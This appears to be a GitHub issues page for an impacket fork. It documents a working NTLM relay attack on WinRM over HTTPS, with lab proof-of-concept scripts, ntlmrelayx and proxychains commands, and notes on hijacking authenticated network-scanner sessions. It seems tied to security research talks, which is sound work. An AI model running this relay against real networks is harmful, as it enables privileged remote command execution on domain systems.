jmk-foofus/impacket

Impacket is a collection of Python classes for working with network protocols.

impacket's Issues

WinRM Relay Documentation

BoomerSec: 25 Years of Abusing Microsoft Windows Passwords

MadSec 2023/12/12 Presentation (YouTube) [37:53]
CypherCon 2024 Overview

Example 1: PoC (Manual Trigger)

The following is a simple proof-of-concept of relaying WinRM with the modified ntlmrelayx tool.

A Ruby script is used to simulate a client connecting to our service and attempting to authenticate. This initial client connection is done using WinRM over HTTP (5985/tcp). In a real world scenario, this would be coerced in some manner. The relay server running ntlmrelayx bounces the connection to our target server using WinRM over HTTPS (5986/tcp). It further opens a local SOCKS proxy. The attacker then sends WinRM commands through the SOCKS proxy and abuses the established authenticated session.

The target server is a basic Windows 2019 domain-joined installation. It has WinRM configured for HTTPS (5986/tcp). The default WinRM channel binding token policy in this configuration is "Relaxed". This means that if the client does not supply a CBT, no anti-relay restrictions are enforced. The WinRM client does not include a CBT, which enables our relay to work. The target service must be WinRM over HTTPS. The default unencrypted WinRM over HTTP (5985/tcp) encrypts the message body using the client's NTLM hash, breaking the relay attack.

• Relay Target

  • Windows Server 2019 (192.168.10.10)
  • WinRM (HTTPS) Install

• Client (Coerced Victim)

  • Ubuntu 22.04 (192.168.10.20)
  • PoC simulated coercion (winrm-client.rb)

#!/usr/bin/ruby

require 'winrm'
opts = { 
  endpoint: 'http://192.168.10.30:5985/wsman',
  user: 'DOMAIN\Administrator',
  password: 'TheAccount'sLegitPassword',
}
conn = WinRM::Connection.new(opts)
conn.shell(:powershell) do |shell|
  output = shell.run('hostname') do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end

• Attacker
  • Kali (192.168.10.30)
  • Relay server (ntlmrelayx.py, winrm-attack.py)

ntlmrelayx.py -t "winrms://192.168.10.10" -socks
proxychains winrm-attack.py

#!/usr/bin/python3

import winrm

host = 'https://192.168.10.10:5986'
domain = 'DOMAIN'
user = 'Administrator'
password = 'NotTheRealPassword'

session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='basic', server_cert_validation='ignore')

result = session.run_ps('hostname')
print(result)
result = session.run_ps('whoami')
print(result)

Example 2: PoC (Network Scanner)

A potential real world abuse scenario for the WinRM relay has a corporate network scanner as the client. For example, multiple network discovery tools and vulnerability scanners (e.g., Rapid7 Nexpose) use WinRM to "discover" assets. Their documentation further typically guides users to configure the authenticated scans to use privileged domain credentials. A malicious actor simply needs to be running the relay while a network scan is being performed. As many organisations perform nightly or weekly scans, it is reasonable to assume that intercepting a scan is plausible.

Fix Hostname Resolution

IP addresses must be used, as ntlmrelayx appears to have issues resolving hostname and matching proxy connections.

WinRM(S) KeepAlive

cmd_hostname.xml.txt
TODO: Add basic KeepAlive. Currently, must use SOCKS proxy shortly after connection is relayex.

Fix Nexpose Challenge/Response Session Management

Test case: Rapid7 Nexpose configured for basic authenticated scan against relay server. 5985/tcp is only configured scan port, and scan template is a limited CIS benchmark. The scan appears to be sending too many requests for ntlmrelayx to track. The target server's challenges are being applied to the incorrect responses.Solving this issue is critical to the attack being useful in the real world.